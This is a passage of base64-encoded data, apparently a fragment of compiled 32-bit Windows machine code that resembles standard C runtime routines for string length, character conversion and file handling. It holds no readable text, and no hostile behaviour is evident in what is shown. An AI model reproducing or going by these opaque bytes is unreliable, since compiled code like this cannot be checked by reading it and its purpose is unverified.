CAvQgH3wAHQKi03kg6FQAwAA/YvCW4vlXcOL/1WL7P91DGoB/3UI6DBx//+DxAz32BvA99hdw4v/VYvs/3UMaAABAAD/dQjohP7//4PEDF3Di/9Vi+yhYC8SEIXAdBBqAP91COjO////WVmLyOsOi00IjUG/g/gZdwODwSCLwV3Di/9Vi+yLTQgzwDsMxXDlCxB0J0CD+C1y8Y1B7YP4EXcFag1YXcONgUT///9qDlk7yBvAI8GDwAhdw4sExXTlCxBdw4v/VYvsVugYAAAAi00IUYkI6Kf///9Zi/DoGAAAAIkwXl3D6PsJAACFwHUGuPjwERDDg8AUw+joCQAAhcB1Brj08BEQw4PAEMOL/1WL7IN9CAB0Lf91CGoA/zWEMxIQ/xXAwwsQhcB1GFbox////4vw/xXIxAsQUOhA////WYkGXl3Di/9Vi+xWi3UIg/7gdzCF9nUXRusU6B9LAACFwHQgVuj5QwAAWYXAdBVWagD/NYQzEhD/FVTDCxCFwHTZ6w3ocP///8cADAAAADPAXl3Di/9Vi+yD7BBTVot1DIX2dBiLXRCF23QRgD4AdRSLRQiFwHQFM8lmiQgzwF5bi+Vdw1f/dRSNTfDoUi///4tF9IO4qAAAAAB1FYtNCIXJdAYPtgZmiQEz/0fphAAAAI1F9FAPtgZQ6L9HAABZWYXAdECLffSDfwQBfic7XwR8JTPAOUUID5XAUP91CP93BFZqCf93CP8ViMMLEIt99IXAdQs7XwRyLoB+AQB0KIt/BOsxM8A5RQgPlcAz/1D/dQiLRfRHV1ZqCf9wCP8ViMMLEIXAdQ7ojP7//4PP/8cAKgAAAIB9/AB0CotN8IOhUAMAAP2Lx1/pMf///4v/VYvsagD/dRD/dQz/dQjo8f7//4PEEF3Di/9Vi+yD7BRTi10MV4t9EIXbdRKF/3QOi0UIhcB0A4MgADPA63qLRQiFwHQDgwj/VoH/////f3YR6BP+//9qFl6JMOjS+v//61P/dRiNTezoJi7//4tF8DP2ObCoAAAAdV1mi0UUuf8AAABmO8F2NoXbdA+F/3QLV1ZT6LMU//+DxAzoyf3//2oqXokwgH34AHQKi03sg6FQAwAA/YvGXl9bi+Vdw4XbdAaF/3RfiAOLRQiFwHTWxwABAAAA686NTfyJdfxRVldTagGNTRRRVv9wCP8V1MMLEIvIhcl0EDl1/HWfi0UIhcB0ookI657/FcjECxCD+Hp1iYXbdA+F/3QLV1ZT6CkU//+DxAzoP/3//2oiXokw6P75///pbP///4v/VYvsagD/dRT/dRD/dQz/dQjox/7//4PEFF3Di/9Vi+yhICoSEFZXg/gFfHyLdQiL1oPiH2ogWCvC99ob0iPQi0UMO8JzAovQjTwyi84793QKgDkAdAVBO8919ivOO8oPhdcAAACL+APOK/qLx4PgHyv4xfRXyQP56w/F9XQBxf3XwIXAdQeDwSA7z3Xti0UMA8brBoA5AHQFQTvIdfYrzsX4d+mUAAAAg/gBfHWLdQiL1oPiD2oQWCvC99ob0iPQi0UMO8JzAovQjTwyi84793QKgDkAdAVBO8919ivOO8p1Wov4A84r+mYP78mLx4PgDyv4A/nrEg8oAWYPdMFmD9fAhcB1B4PBEDvPdeqLRQwDxusGgDkAdAVBO8h19ivO6xqLVQiLyotFDAPCO9B0CoA5AHQFQTvIdfYryl+LwV5dw4v/VYvsUaEgKhIQi00IVleD+AUPjLwAAAD2wQF0J4tFDIvRjQRBO8gPhH0BAAAz/2Y5Og+EcgEAAIPCAjvQdfDpZgEAAIvxg+YfaiBYK8b33hv2I/CLRQzR7jvGcwKL8I0UcTP/iVX8i9E7Tfx0DWY5OnQIg8ICO1X8dfMr0dH6O9YPhScBAACNFFGLyCvOi8GD4B8ryMX0V8mNDErrD8X1dQLF/dfAhcB1B4PCIDvRde2LRQiLTQyNDEjrCGY5OnQHg8ICO9F19CvQ0frF+Hfp2gAAAIP4AQ+MswAAAPbBAXQni0UMi9GNBEE7yA+EuAAAADP/Zjk6D4StAAAAg8ICO9B18OmhAAAAi/GD5g9qEFgrxvfeG/Yj8ItFDNHuO8ZzAovwjRRxM/+JVfyL0TtN/HQNZjk6dAiDwgI7Vfx18yvR0fo71nVmjRRRZg/vyYvIK86LwYPgDyvIjQxK6xIPKAJmD3XBZg/XwIXAdQeDwhA70XXqi0UIi00MjQxI6whmOTp0B4PCAjvRdfQr0Osci0UMi9GNBEE7yHQOM/9mOTp0B4PCAjvQdfQr0dH6X4vCXovlXcNqCGiwphEQ6BsA//+LRQj/MOgbGwAAWYNl/ACLTQyLQQSLAP8wiwH/MOj5AgAAWVnHRfz+////6AgAAADoNgD//8IMAItFEP8w6CsbAABZw2oIaNCmERDoy//+/4tFCP8w6MsaAABZg2X8AItFDIsAiwCLSEiFyXQYg8j/8A/BAXUPgfn49BEQdAdR6Lj5//9Zx0X8/v///+gIAAAA6NX//v/CDACLRRD/MOjKGgAAWcNqCGjwphEQ6Gr//v+LRQj/MOhqGgAAWYNl/ABqAItFDIsA/zDoTQIAAFlZx0X8/v///+gIAAAA6Ir//v/CDACLRRD/MOh/GgAAWcNqCGiQphEQ6B///v+LRQj/MOgfGgAAWYNl/ACLRQyLAIsAi0BI8P8Ax0X8/v///+gIAAAA6EL//v/CDACLRRD/MOg3GgAAWcOL/1WL7IPsDItFCI1N/4lF+IlF9I1F+FD/dQyNRfRQ6Oj+//+L5V3Di/9Vi+yD7AyLRQiNTf+JRfiJRfSNRfhQ/3UMjUX0UOhw/v//i+Vdw4v/VYvsg+wMi0UIjU3/iUX4iUX0jUX4UP91DI1F9FDo+f7//4vlXcOL/1WL7IPsDItFCI1N/4lF+IlF9I1F+FD/dQyNRfRQ6Bz///+L5V3Di/9Vi+xRUYtFCDPJQWpDiUgYi0UIxwAw5AsQi0UIiYhQAwAAi0UIWcdASPj0ERCLRQhmiUhsi0UIZomIcgEAAItFCIOgTAMAAACNRQiJRfyNRfxQagXoff///41FCIlF+I1FDIlF/I1F+FBqBOgW////g8QQi+Vdw4v/VYvsg30IAHQS/3UI6A4AAAD/dQjo0Pf//1lZXcIEAIv/VYvsUYtFCIsIgfkw5AsQdApR6LH3//+LRQhZ/3A86KX3//+LRQj/cDDomvf//4tFCP9wNOiP9///i0UI/3A46IT3//+LRQj/cCjoeff//4tFCP9wLOhu9///i0UI/3BA6GP3//+LRQj/cEToWPf//4tFCP+wYAMAAOhK9///jUUIiUX8jUX8UGoF6DX+//+NRQiJRfyNRfxQagTodP7//4PENIvlXcOL/1WL7FaLdQiDfkwAdCj/dkzozEQAAItGTFk7BWQvEhB0FD0A8REQdA2DeAwAdQdQ6OFCAABZi0UMiUZMXoXAdAdQ6FJCAABZXcOh/PAREIP4/3QhVlDotxMAAIvwhfZ0E2oA/zX88BEQ6PoTAABW6MH+//9ew4v/Vlf/FcjECxCL8KH88BEQg/j/dAxQ6IATAACL+IX/dUloZAMAAGoB6E4RAACL+FlZhf91CVDobvb//1nrOFf/NfzwERDopxMAAIXAdQNX6+VoZC8SEFfo6f3//2oA6Eb2//+DxAyF/3QMVv8VJMQLEIvHX17DVv8VJMQLEOjF8P//zIv/U1ZX/xXIxAsQi/Az26H88BEQg/j/dAxQ6PkSAACL+IX/dVFoZAMAAGoB6McQAACL+FlZhf91CVPo5/X//1nrK1f/NfzwERDoIBMAAIXAdQNX6+VoZC8SEFfoYv3//1PowPX//4PEDIX/dQlW/xUkxAsQ6wlW/xUkxAsQi99fXovDW8No1vUKEOjdEQAAo/zwERCD+P91AzLAw+hf////hcB1CVDoBgAAAFnr67ABw6H88BEQg/j/dA1Q6AESAACDDfzwERD/sAHDi/9Vi+xWi3UMiwY7BWQvEhB0F4tNCKEc9xEQhYFQAwAAdQfodkMAAIkGXl3Di/9Vi+xWi3UMiwY7BRj3ERB0F4tNCKEc9xEQhYFQAwAAdQfoQzQAAIkGXl3Di/9Vi+yLRQi5/wcAAFNWM9KLGItwBIvGwegUI8FXO8F1QzvSdT+L/ovDgef//w8AC8d1A0DrMIvOi8KB4QAAAIALwbgAAAgAdA072nUJO/h1BWoEWOsQI/AL1nQEagLr82oD6+8zwF9eW13Di/9Vi+yLRQgz0otIBIvCgeEAAACAC8F0AUKKwl3Di/9Vi+yD7DBTVleLfRwz24X/eQKL+4t1DI1N0P91KIge6Ggk//+NRws5RRB3FOgx9P//aiJfiTjo8PD//+moAgAAi1UIiwKLSgSJReCLwcHoFCX/BwAAPf8HAAB1UjvbdU5T/3UkU1f/dRj/dRT/dRBWUuiLAgAAi/iDxCSF/3QHiB7pYgIAAGplVujW/v7/WVmFwHQTOF0gD5TB/smA4eCAwXCICIhYA4v76ToCAACB4QAAAICLwwvBdATGBi1Gi0oEM9s4XSBqMA+Uw8dF9P8DAABLM8CD4+CB4QAA8H+DwycLwYld5Fh1H4gGRotCBIsKJf//DwALyHUFIU306w3HRfT+AwAA6wTGBjFGi85GiU3ohf91BcYBAOsPi0XUi4CIAAAAiwCKAIgBi0IEJf//DwCJRfB3CYM6AA+GxQAAAINl/AC5AAAPAGowWIlF+IlN8IX/flOLAotSBCNF/CPRi034geL//w8AD7/J6LOkAABqMFlmA8EPt8CD+Dl2AgPDi03wi1UIiAZGi0X8D6zIBIlF/ItF+MHpBIPoBE+JTfCJRfhmhcB5qWaFwHhXiwKLUgQjRfwj0YtN+IHi//8PAA+/yehbpAAAZoP4CHY2ajCNRv9bigiA+WZ0BYD5RnUFiBhI6++LXeQ7Reh0FIoIgPk5dQeAwzqIGOsJ/sGICOsD/kD/hf9+EFdqMFhQVugwCf//g8QMA/eLReiAOAB1AovwgH0gALE0i1UID5TA/sgk4ARwiAaLAotSBOjjowAAi8gz24Hh/wcAACtN9BvbeA9/BIXJcgnGRgErg8YC6w7GRgEtg8YC99mD0wD324v+ajBYiAaF23w/uOgDAAB/BDvIchZqAFBTUegVpAAABDCJVeSIBkY793ULhdt8Gn8Fg/lkchNqAGpkU1Ho86MAAAQwiVXkiAZGO/d1C4XbfBp/BYP5CnITagBqClNR6NGjAAAEMIlV5IgGRmowWALIM/+IDsZGAQCAfdwAdAqLTdCDoVADAAD9i8dfXluL5V3Di/9Vi+yD7AyNRfRWi3UcV/91GP91FI1+AVCLRQhX/3AE/zDoPEEAAIPJ/4PEGDlNEHQXi00QM8CDffQtD5TAK8gzwIX2D5/AK8iNRfRQV4t9DFEzyYN99C0PlMEzwIX2D5/AA88DwVDoEUAAAIPEEIXAdAXGBwDrHP91KI1F9GoAUP91JP91IFb/dRBX6AkAAACDxCBfXovlXcOL/1WL7IPsEFZXi30Qhf9+BIvH6wIzwIPACTlFDHcX6KLw//9qIl6JMOhh7f//i8ZfXovlXcNT/3UkjU3w6K4g//+KVSCLXQiE0nQli00cM8CF/w+fwFAzwIM5LQ+UwAPDUP91DFPoBAQAAIpVIIPEEItFHIvzgzgtdQbGAy2NcwGF/34VikYBiAZGi0X0i4CIAAAAiwCKAIgGM8CE0g+UwAPHA/CDyP85RQx0B4vDK8YDRQxoGOcLEFBW6F3q//+DxAxbhcB1do1OAjhFFHQDxgZFi1Uci0IIgDgwdC+LUgSD6gF5BvfaxkYBLWpkXzvXfAiLwpn3/wBGAmoKXzvXfAiLwpn3/wBGAwBWBIN9GAJ1FIA5MHUPagONQQFQUeiEDP//g8QMgH38AHQKi0Xwg6BQAwAA/TPA6fL+//8zwFBQUFBQ6FXs///Mi/9Vi+yD7AwzwFZX/3UYjX30/3UUq6urjUX0i30cUItFCFf/cAT/MOhRPwAAg8n/g8QYOU0QdA6LTRAzwIN99C0PlMAryIt1DI1F9FCLRfgDx1AzwIN99C1RD5TAA8ZQ6DM+AACDxBCFwHQFxgYA6xb/dSCNRfRqAFBX/3UQVugJAAAAg8QYX16L5V3Di/9Vi+yD7BCNTfBTVlf/dRzoAh///4tVFIt9EItdCItKBEmAfRgAdBQ7z3UQM8CDOi0PlMADwWbHBBgwAIM6LYvzdQbGAy2NcwGLQgSFwH8VagFW/3UMU+g6AgAAg8QQxgYwRusCA/CF/35SagFW/3UMU+gfAgAAi0X0g8QQi4CIAAAAiwCKAIgGRotFFItIBIXJeSmAfRgAdQiLwffYO8d9BIv5999XVv91DFPo5QEAAFdqMFboFQX//4PEHIB9/ABfXlt0CotF8IOgUAMAAP0zwIvlXcOL/1WL7IPsEFNWV/91GDPAjX3w/3UUq6urjUXwi30cUItFCFf/cAT/MOjsPQAAi0X0M8mLXQyDxBiDffAtD5TBSIlF/IPI/400GTlFEHQFi0UQK8GNTfBRV1BW6NQ8AACDxBCFwHQFxgMA61WLRfRIOUX8D5zBg/j8fCo7x30mhMl0CooGRoTAdfmIRv7/dSiNRfBqAVBX/3UQU+iJ/v//g8QY6xz/dSiNRfBqAVD/dST/dSBX/3UQU+iT/P//g8QgX15bi+Vdw4v/VYvsg+xIoRTwERAzxYlF/ItVFItNEFOKXQwPtsODwAQ70HMVagzGAQBYi038M81b6E/1/v+L5V3DhNt0CMYBLUFKxgEAuNjmCxDHRdzo5gsQiUW8M9s4XRiJRcC43OYLEIlFxA+Vw4lFyEu45OYLEMdF5PTmCxCJRdSD4wKJRdiJReiJRfiLRQhWvuDmCxDHRewA5wsQV408hfz///+JdcyNBB+JddCJdeCJdfDHRfQM5wsQi3SFvI1GAYlFuIoGRoTAdfkrdbg78hvARwPHA8P/dIW8UlHoyOb//4PEDF9ehcAPhEH///8zwFBQUFBQ6DHp///Mi/9Vi+yLVRSF0nQmVot1EIvOV415AYoBQYTAdfkrz41BAVCNBBZWUOgMCf//g8QMX15dw4v/VYvsUVFWV4t9DIX/dRboDuz//2oWXokw6M3o//+LxukeAQAAU4tdEIXbdAyDfRQAdAaDfRgAdxbo5Ov//2oWXokw6KPo//+LxunzAAAAi3Ucg/5BdBOD/kV0DoP+RnQJxkX8AIP+R3UExkX8AYtFJIPgCIPIAHUy/3UI6LP2//+JRfhZhcB0Iv91/FNX/3UI6Ar3//9ZD7bAUP91+Ogw/v//g8QU6ZcAAACLRSSD4BCDyAB0BGoD6wJqAliD/mF/KHQKg+5BdAWD7gTrH/91LFD/dfz/dSD/dRj/dRRTV/91COjW9v//61WD7mX/dSx0NoPuAXQZUP91/P91IP91GP91FFNX/3UI6P38///rL/91IP91GP91FFNX/3UI6IT7//+DxBzrGlD/dfz/dSD/dRj/dRRTV/91COiC+f//g8QkW19ei+Vdw4v/VYvsi0UMg0AI/otVDIN6CAB9Dw+3RQhSUOgpUgAAWVldw4sKZotFCGaJAYMCAl3Di/9Vi+yD7BChFPAREDPFiUX8V4t9DItHDMHoDKgBdBBX/3UI6KX///9ZWennAAAAU1ZX6O4AAAC7yPEREFmD+P90Llfo3QAAAFmD+P50Ilfo0QAAAIvwV8H+BujGAAAAg+A/a8AwWVkDBLVoLxIQ6wKLw4pAKTwCD4SMAAAAPAEPhIQAAABX6JoAAABZg/j/dCxX6I4AAABZg/j+dCBX6IIAAACL8FfB/gbodwAAAIPgP2vYMFlZAxy1aC8SEPZDKIB0Rv91CI1F9GoFUI1F8FDooez//4PEEIXAdSYz9jl18H4ZD75ENfRXUOhcAAAAWVmD+P90DEY7dfB852aLRQjrErj//wAA6wtX/3UI6Lv+//9ZWV5bi038M81f6Lzx/v+L5V3Di/9Vi+yLRQiFwHUV6HDp///HABYAAADoLub//4PI/13Di0AQXcOL/1WL7ItVDINqCAF5DVL/dQjoqVAAAFlZXcOLAotNCIgI/wIPtsFdw4sNFPAREDPAg8kBOQ1ULxIQD5TAw4v/VYvsVot1CFbojf///1Dog1AAAFlZhcB1BzLA6ZAAAABTV2oB6EdB//9ZagJbO/B1B79YLxIQ6xBT6DJB//9ZO/B1ab9cLxIQ/wX0LRIQjU4MiwGpwAQAAHVSuIICAADwCQGLB4XAdStoABAAAOj26P//agCJB+iz6P//iwdZWYXAdRCNThSJXgiJTgSJDoleGOsViUYEiweJBsdGCAAQAADHRhgAEAAAsAHrAjLAX1teXcOL/1WL7IB9CAB0LFaLdQxXjX4MiwfB6AmoAXQZVugfQf//Wbh//f//8CEHM8CJRhiJRgSJBl9eXcMzwLlgLxIQQIcBw2oIaBCnERDoCu7+/74A8REQOTVkLxIQdCpqBOgACQAAWYNl/ABWaGQvEhDowTYAAFlZo2QvEhDHRfz+////6AYAAADoHu7+/8NqBOgYCQAAWcOL/1WL7IPsSI1FuFD/FaTCCxBmg33qAA+ElQAAAItF7IXAD4SKAAAAU1aLMI1YBI0EM4lF/LgAIAAAO/B8AovwVuiwUwAAoWgxEhBZO/B+AovwVzP/hfZ0VotF/IsIg/n/dECD+f50O4oT9sIBdDT2wgh1C1H/FWDCCxCFwHQhi8eLz4PgP8H5BmvQMItF/AMUjWgvEhCLAIlCGIoDiEIoi0X8R4PABEOJRfw7/nWtX15bi+Vdw4v/U1ZXM/+Lx4vPg+A/wfkGa/AwAzSNaC8SEIN+GP90DIN+GP50BoBOKIDre4vHxkYogYPoAHQQg+gBdAdq9IPoAesGavXrAmr2WFD/FezCCxCL2IP7/3QNhdt0CVP/FWDCCxDrAjPAhcB0HiX/AAAAiV4Yg/gCdQaATihA6ymD+AN1JIBOKAjrHoBOKEDHRhj+////ofAtEhCFwHQKiwS4x0AQ/v///0eD/wMPhVX///9fXlvDagxoMKcREOhM7P7/agfoTwcAAFkz24hd54ld/FPoaFIAAFmFwHUP6Gj+///oGf///7MBiF3nx0X8/v///+gLAAAAisPoX+z+/8OKXedqB+hWBwAAWcOL/1Yz9ouGaC8SEIXAdA5Q6OpRAACDpmgvEhAAWYPGBIH+AAIAAHLdsAFew4v/VYvsuP//AACD7BhmOUUID4SuAAAA/3UMjU3o6OwV//+LReyLgKgAAACFwHUhi00IjUG/ZoP4GXcNZoPBIA+3wYlF+GaLyA+3wYlF+OsfugABAABqAWY5VQhzMP91COifFwAAWVmFwHUJZotFCA+3wOsRi0XsD7dNCIuAlAAAAA+2BAgPt8CJRfjrHI1N/FFqAY1NCFFSUOgmGQAAg8QYhcB1DGaLRQgPt8CJRfjrBGaLRfyAffQAdAqLTeiDoVADAAD9i+Vdw4v/VYvsVot1CIX2dAxq4DPSWPf2O0UMcjQPr3UMhfZ1F0brFOh4MAAAhcB0IFboUikAAFmFwHQVVmoI/zWEMxIQ/xVUwwsQhcB02esN6Mnk///HAAwAAAAzwF5dw4v/VYvsi0UIU1ZXjRyFwDESEIsDixUU8BEQg8//i8qL8oPhHzPw084793RphfZ0BIvG62OLdRA7dRR0Gv826FkAAABZhcB1L4PGBDt1FHXsixUU8BEQM8CFwHQp/3UMUP8VjMQLEIvwhfZ0E1bo/93//1mHA+u5ixUU8BEQ69mLFRTwERCLwmogg+AfWSvI088z+oc7M8BfXltdw4v/VYvsi0UIV408hXAxEhCLD4XJdAuNQQH32BvAI8HrV1OLHIXo6wsQVmgACAAAagBT/xV8wgsQi/CF9nUn/xXIxAsQg/hXdQ1WVlP/FXzCCxCL8OsCM/aF9nUJg8j/hwczwOsRi8aHB4XAdAdW/xWExAsQi8ZeW19dw4v/VYvsUaEU8BEQM8WJRfxWaDjxCxBoMPELEGg48QsQagPowv7//4vwg8QQhfZ0D/91CIvO/xUMyQsQ/9brBv8VjMILEItN/DPNXuiO6/7/i+VdwgQAi/9Vi+xRoRTwERAzxYlF/FZoTPELEGhE8QsQaEzxCxBqBOhs/v//g8QQi/D/dQiF9nQMi87/FQzJCxD/1usG/xWAwgsQi038M81e6Djr/v+L5V3CBACL/1WL7FGhFPAREDPFiUX8Vmhc8QsQaFTxCxBoXPELEGoF6Bb+//+DxBCL8P91CIX2dAyLzv8VDMkLEP/W6wb/FYjCCxCLTfwzzV7o4ur+/4vlXcIEAIv/VYvsUaEU8BEQM8WJRfxWaHDxCxBoaPELEGhw8QsQagbowP3//4PEEIvw/3UM/3UIhfZ0DIvO/xUMyQsQ/9brBv8VhMILEItN/DPNXuiJ6v7/i+VdwggAi/9Vi+xRoRTwERAzxYlF/FZooPELEGiY8QsQaKDxCxBqFOhn/f//i/CDxBCF9nQV/3UQi87/dQz/dQj/FQzJCxD/1usM/3UM/3UI/xWQwgsQi038M81e6Cfq/v+L5V3CDACL/1WL7FGhFPAREDPFiUX8VmjE8QsQaLzxCxBoxPELEGoW6AX9//+L8IPEEIX2dCf/dSiLzv91JP91IP91HP91GP91FP91EP91DP91CP8VDMkLEP/W6yD/dRz/dRj/dRT/dRD/dQxqAP91COgYAAAAUP8VXMILEItN/DPNXuif6f7/i+VdwiQAi/9Vi+xRoRTwERAzxYlF/FZo3PELEGjU8QsQaNzxCxBqGOh9/P//i/CDxBCF9nQS/3UMi87/dQj/FQzJCxD/1usJ/3UI6HdRAABZi038M81e6EPp/v+L5V3CCAChFPAREFdqIIPgH7/AMRIQWSvIM8DTyDMFFPAREGogWfOrsAFfw4v/VYvsUVGhFPAREDPFiUX8iw1AMhIQhcl0CjPAg/kBD5TA61RWaITxCxBofPELEGiE8QsQagjo5vv//4vwg8QQhfZ0J4Nl+ACNRfhqAFCLzv8VDMkLEP/Wg/h6dQ4zybpAMhIQQYcKsAHrDGoCWLlAMhIQhwEywF6LTfwzzeiU6P7/i+Vdw4v/VYvsgH0IAHUnVr5wMRIQgz4AdBCDPv90CP82/xWExAsQgyYAg8YEgf7AMRIQdeBesAFdw2oQaFCnERDoCeb+/4Nl5ABqCOgIAQAAWYNl/ABqA16JdeA7NewtEhB0WKHwLRIQiwSwhcB0SYtADMHoDagBdBah8C0SEP80sOgMO///WYP4/3QD/0XkofAtEhCLBLCDwCBQ/xX8wgsQofAtEhD/NLDowd///1mh8C0SEIMksABG653HRfz+////6AkAAACLReToz+X+/8NqCOjJAAAAWcOL/1WL7FaLdQhXjX4MiwfB6A2oAXQkiwfB6AaoAXQb/3YE6G/f//9ZuL/+///wIQczwIlGBIkGiUYIX15dw4v/Vle/SDISEDP2agBooA8AAFfo4fz//4XAdBj/BYAzEhCDxhiDxxiB/jgBAABy27AB6wpqAOgdAAAAWTLAX17Di/9Vi+xrRQgYBUgyEhBQ/xUIwwsQXcOL/1aLNYAzEhCF9nQga8YYV424MDISEFf/FfzCCxD/DYAzEhCD7xiD7gF161+wAV7Di/9Vi+xrRQgYBUgyEhBQ/xUEwwsQXcNqDGhwpxEQ6Ivk/v8z9ol15ItFCP8w6EZLAABZiXX8i0UMiwCLOIvXwfoGi8eD4D9ryDCLBJVoLxIQ9kQIKAF0IVfol00AAFlQ/xVExAsQhcB1Heg63v//i/D/FcjECxCJBug+3v//xwAJAAAAg87/iXXkx0X8/v///+gNAAAAi8boYeT+/8IMAIt15ItNEP8x6IJLAABZw4v/VYvsg+wMi0UIjU3/iUX4iUX0jUX4UP91DI1F9FDoRP///4vlXcOL/1WL7FFWi3UIg/7+dQ3o0d3//8cACQAAAOtLhfZ4Nzs1aDESEHMvi8aL1oPgP8H6BmvIMIsElWgvEhD2RAgoAXQUjUUIiUX8jUX8UFbohf///1lZ6xPoid3//8cACQAAAOhH2v//g8j/XovlXcOL/1WL7IPsOKEU8BEQM8WJRfyLRQyLyIPgP8H5BlNr2DBWiwSNaC8SEFeLfRCJfdCJTdSLRBgYiUXYi0UUA8eJRdz/FVjCCxCLdQiLTdyJRcgzwIkGiUYEiUYIO/kPgz0BAACKLzPAZolF6ItF1Iht5YsUhWgvEhCKTBot9sEEdBmKRBougOH7iEX0jUX0agKIbfWITBotUOs66NEOAAAPtg+6AIAAAGaFFEh0JDt93A+DwQAAAGoCjUXoV1DoSd7//4PEDIP4/w+E0gAAAEfrGGoBV41F6FDoLt7//4PEDIP4/w+EtwAAADPJjUXsUVFqBVBqAY1F6EdQUf91yP8V1MMLEIlFzIXAD4SRAAAAagCNTeBRUI1F7FD/ddj/FdjECxCFwHRxi0YIK0XQA8eJRgSLRcw5ReByZoB95Qp1LGoNWGoAZolF5I1F4FBqAY1F5FD/ddj/FdjECxCFwHQ4g33gAXI6/0YI/0YEO33cD4Lu/v//6ymLVdSKB4sMlWgvEhCIRBkuiwSVaC8SEIBMGC0E/0YE6wj/FcjECxCJBotN/IvGX14zzVvo/uP+/4vlXcOL/1WL7FFTVot1CDPAV4t9DIkGiUYEiUYIi0UQA8eJRfw7+HM/D7cfU+jZTQAAWWY7w3Uog0YEAoP7CnUVag1bU+jBTQAAWWY7w3UQ/0YE/0YIg8cCO338csvrCP8VyMQLEIkGX4vGXluL5V3Di/9Vi+xRVot1CFbowUIAAFmFwHUEMsDrWFeL/oPmP8H/Bmv2MIsEvWgvEhD2RDAogHQf6Ifk//+LQEyDuKgAAAAAdRKLBL1oLxIQgHwwKQB1BDLA6xqNRfxQiwS9aC8SEP90MBj/FVTCCxCFwA+VwF9ei+Vdw4v/VYvsuBAUAADo840AAKEU8BEQM8WJRfyLTQyLwcH4BoPhP2vJMFOLXRCLBIVoLxIQVot1CFeLTAgYi0UUgyYAA8ODZgQAg2YIAImN8Ov//4mF+Ov//+tljb386///O9hzHooDQzwKdQf/RgjGBw1HiAeNRftHO/iLhfjr//9y3o2F/Ov//yv4jYX06///agBQV42F/Ov//1BR/xXYxAsQhcB0H4uF9Ov//wFGBDvHchqLhfjr//+LjfDr//872HKX6wj/FcjECxCJBotN/IvGX14zzVvoPOL+/4vlXcOL/1WL7LgQFAAA6BSNAAChFPAREDPFiUX8i00Mi8HB+AaD4T9ryTBTi10QiwSFaC8SEFaLdQhXi0wIGItFFAPDiY3w6///M9KJhfjr//+JFolWBIlWCOt1jb386///O9hzKw+3A4PDAoP4CnUNg0YIAmoNWmaJF4PHAmaJB41F+oPHAjv4i4X46///ctGNhfzr//8r+I2F9Ov//2oAUIPn/o2F/Ov//1dQUf8V2MQLEIXAdB+LhfTr//8BRgQ7x3Iai4X46///i43w6///O9hyh+sI/xXIxAsQiQaLTfyLxl9eM81b6E7h/v+L5V3Di/9Vi+y4GBQAAOgmjAAAoRTwERAzxYlF/ItNDIvBwfgGg+E/a8kwU1aLBIVoLxIQM9uLdQhXi0QIGItNEIv5iYXs6///i0UUA8GJHoleBImF9Ov//4leCDvID4O6AAAAi7X06///jYVQ+f//O/5zIQ+3D4PHAoP5CnUJag1aZokQg8ACZokIg8ACjU34O8Fy21NTaFUNAACNjfjr//9RjY1Q+f//K8HR+FCLwVBTaOn9AAD/FdTDCxCLdQiJhejr//+FwHRMagCNjfDr//8rw1FQjYX46///A8NQ/7Xs6////xXYxAsQhcB0JwOd8Ov//4uF6Ov//zvYcsuLxytFEIlGBDu99Ov//3MPM9vpTv////8VyMQLEIkGi038i8ZfXjPNW+gh4P7/i+Vdw2oUaJCnERDozN3+/4t1CIP+/nUY6LrX//+DIADoxdf//8cACQAAAOm2AAAAhfYPiJYAAAA7NWgxEhAPg4oAAACL3sH7BovGg+A/a8gwiU3giwSdaC8SEA+2RAgog+ABdGlW6DtEAABZg8//iX3kg2X8AIsEnWgvEhCLTeD2RAgoAXUV6F7X///HAAkAAADoQNf//4MgAOsU/3UQ/3UMVuhHAAAAg8QMi/iJfeTHRfz+////6AoAAACLx+spi3UIi33kVuiRRAAAWcPoBNf//4MgAOgP1///xwAJAAAA6M3T//+DyP/oPt3+/8OL/1WL7IPsMKEU8BEQM8WJRfyLTRCJTfhWi3UIV4t9DIl90IXJdQczwOnOAQAAhf91H+ix1v//ITjovdb//8cAFgAAAOh70///g8j/6asBAABTi8aL3sH7BoPgP2vQMIld5IsEnWgvEhCJRdSJVeiKXBApgPsCdAWA+wF1KIvB99CoAXUd6F7W//+DIADoadb//8cAFgAAAOgn0///6VEBAACLRdT2RBAoIHQPagJqAGoAVuhsSAAAg8QQVujk+v//WYTAdDmE23Qi/suA+wEPh+4AAAD/dfiNRexXUOhW+v//g8QMi/DpnAAAAP91+I1F7FdWUOiL+P//g8QQ6+aLReSLDIVoLxIQi0Xo9kQBKIB0Rg++w4PoAHQug+gBdBmD6AEPhZoAAAD/dfiNRexXVlDow/v//+vB/3X4jUXsV1ZQ6KH8///rsf91+I1F7FdWUOjE+v//66GLRAEYM8lRiU3siU3wiU30jU3wUf91+FdQ/xXYxAsQhcB1Cf8VyMQLEIlF7I117I192KWlpYtF3IXAdWOLRdiFwHQkagVeO8Z1FOhT1f//xwAJAAAA6DXV//+JMOs8UOgI1f//Weszi33Qi0Xki03oiwSFaC8SEPZECChAdAmAPxp1BDPA6xvoFtX//8cAHAAAAOj41P//gyAAg8j/6wMrReBbi038XzPNXugq3f7/i+Vdw2oMaLCnERDo1dr+/4Nl5ACLRQj/MOiRQQAAWYNl/ACLRQyLAIswi9bB+gaLxoPgP2vIMIsElWgvEhD2RAgoAXQLVujiAAAAWYvw6w7ontT//8cACQAAAIPO/4l15MdF/P7////oDQAAAIvG6MHa/v/CDACLdeSLRRD/MOjiQQAAWcOL/1WL7IPsDItFCI1N/4lF+IlF9I1F+FD/dQyNRfRQ6Fr///+L5V3Di/9Vi+xRVot1CIP+/nUV6B7U//+DIADoKdT//8cACQAAAOtThfZ4Nzs1aDESEHMvi8aL1oPgP8H6BmvIMIsElWgvEhD2RAgoAXQUjUUIiUX8jUX8UFboff///1lZ6xvoztP//4MgAOjZ0///xwAJAAAA6JfQ//+DyP9ei+Vdw4v/VYvsVleLfQhX6O9CAABZg/j/dQQz9utOoWgvEhCD/wF1CfaAiAAAAAF1C4P/AnUc9kBYAXQWagLowEIAAGoBi/Dot0IAAFlZO8Z0yFfoq0IAAFlQ/xXAxAsQhcB1tv8VyMQLEIvwV+gAQgAAWYvPg+c/wfkGa9cwiwyNaC8SEMZEESgAhfZ0DFboANP//1mDyP/rAjPAX15dw2oMaNCnERDoENn+/zP/i3UIiT5qCOgM9P//WYl9/I1F5FDocwAAAFmLAIkGhcB0D4l4CIl4HIk4iXgEg0gQ/8dF/P7////oCwAAAIvG6BrZ/v/Di3UIagjoEfT//1nDi/9Vi+yLRQgzyYkIi0UIiUgEi0UIiUgIi0UIg0gQ/4tFCIlIFItFCIlIGItFCIlIHItFCIPADIcIXcOL/1WL7FFTix3sLRIQVleLPfAtEhCDxwyDw/2NH